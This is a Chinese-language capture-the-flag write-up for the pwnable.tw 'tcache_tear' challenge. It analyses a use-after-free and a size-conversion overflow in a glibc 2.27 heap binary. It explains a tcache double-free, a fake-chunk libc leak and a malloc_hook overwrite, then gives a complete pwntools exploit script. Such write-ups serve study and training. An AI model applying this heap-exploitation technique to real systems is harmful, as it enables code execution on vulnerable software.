# pwnable.tw tcache_tear
# 保护:
1 2 3 4 5 6 7 dreamcat@ubuntu:~/Desktop/pwnable/Tcache Tear$ checksec --file=tcache_tear RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 1 2 tcache_tear dreamcat@ubuntu:~/Desktop/pwnable/Tcache Tear$ strings libc-2.27 .so | grep ubuntu GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1) stable release version 2.27 . <https:
64 位程序,FULLrelro 导致不能改写 got
但是因为这个 libc 版本太老,tcache 不会检查 double free
# 主要程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { __int64 v3; unsigned int v4; sub_400948(a1, a2, a3); printf ("Name:" ); read_name((__int64)&name, 0x20 u); v4 = 0 ; while ( 1 ) { while ( 1 ) { menu(); v3 = get_num(); if ( v3 != 2 ) break ; if ( v4 <= 7 ) { free (ptr); ++v4; } } if ( v3 > 2 ) { if ( v3 == 3 ) { info(); } else { if ( v3 == 4 ) exit (0 ); LABEL_14: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_14; add(); } } }
只允许 8 次 free,而且还有 tcache,ptr 指针存在 uaf,但是没有编辑函数,输出的是 name,对于 name 输入输出限制大小都在 0x20 没有溢出以及泄露 ptr 的可能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int add () { unsigned __int64 v0; int size; printf ("Size:" ); v0 = get_num(); size = v0; if ( v0 <= 0xFF ) { ptr = malloc (v0); printf ("Data:" ); read_name((__int64)ptr, size - 16 ); LODWORD(v0) = puts ("Done !" ); } return v0; }
add 读入数据时存在数字类型转换溢出,当 size<16 时,读入非常大的数据,可以覆盖 topchunk
# loading:
1:最主要的问题,如何泄露 libc 的地址。尝试攻击 stdout 结构体
largebin 不走 tcache,但是走 unsortedbin,所以伪造 fakechunk 进 sortedbin,低版本的 libc2.27 可以 tcache double free, 很容易拿到 name,并且实现超长数据写(size<16)
我们将 name 伪造成 largechunk,free 后进 unsortedbins,泄露 libc,然后同样手法修改 malloc_hook,这次需要 realloc 调栈
# exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *r=remote('chall.pwnable.tw' ,10207 ) elf =ELF('./tcache_tear' ) libc = ELF('./libc-2.27.so' ) name=0x602060 gp = 0x602088 def ch (i ): r.sendlineafter("Your choice :" ,str (i)) def add (size,text ): ch(1 ) r.sendlineafter("Size:" ,str (size)) r.sendlineafter("Data:" ,text) def free (): ch(2 ) offset = gp-name fakechunk=p64(0x602060 )+p64(0x501 ) fakechunk +=b'\x00' *(offset-0x10 )+p64(name+0x10 )+b'\x00' *(0x602560 -0x602090 +8 )+p64(0x21 ) fakechunk +=b'\x00' *0x18 + p64(0x21 ) r.sendafter("Name:" ,p64(0x602060 )) add(10 ,'aaaa' ) free() free() add(10 ,p64(name)) add(10 ,'aaaa' ) add(10 ,fakechunk) free() ch(3 ) r.recvuntil("\x05" ) r.recv(6 ) main_addr_96 = u64(r.recv(6 ).ljust(8 ,b'\x00' )) malloc_hook = main_addr_96-0x70 realloc_hook = malloc_hook-0x8 libcbase = main_addr_96 - 0x3ebca0 print ("libc : " ,hex (libcbase))print ("malloc_hook : " ,hex (malloc_hook))onegadget = 0xcafebabedeadbeef onegadget = libcbase +0x010a38c realloc = libcbase + libc.sym['realloc' ] print ("realloc _: " ,hex (realloc))add(10 ,p64(malloc_hook-8 )) add(10 ,'' ) add(10 ,p64(onegadget)+p64(realloc+6 )) ch(1 ) r.sendline("10" ) r.interactive()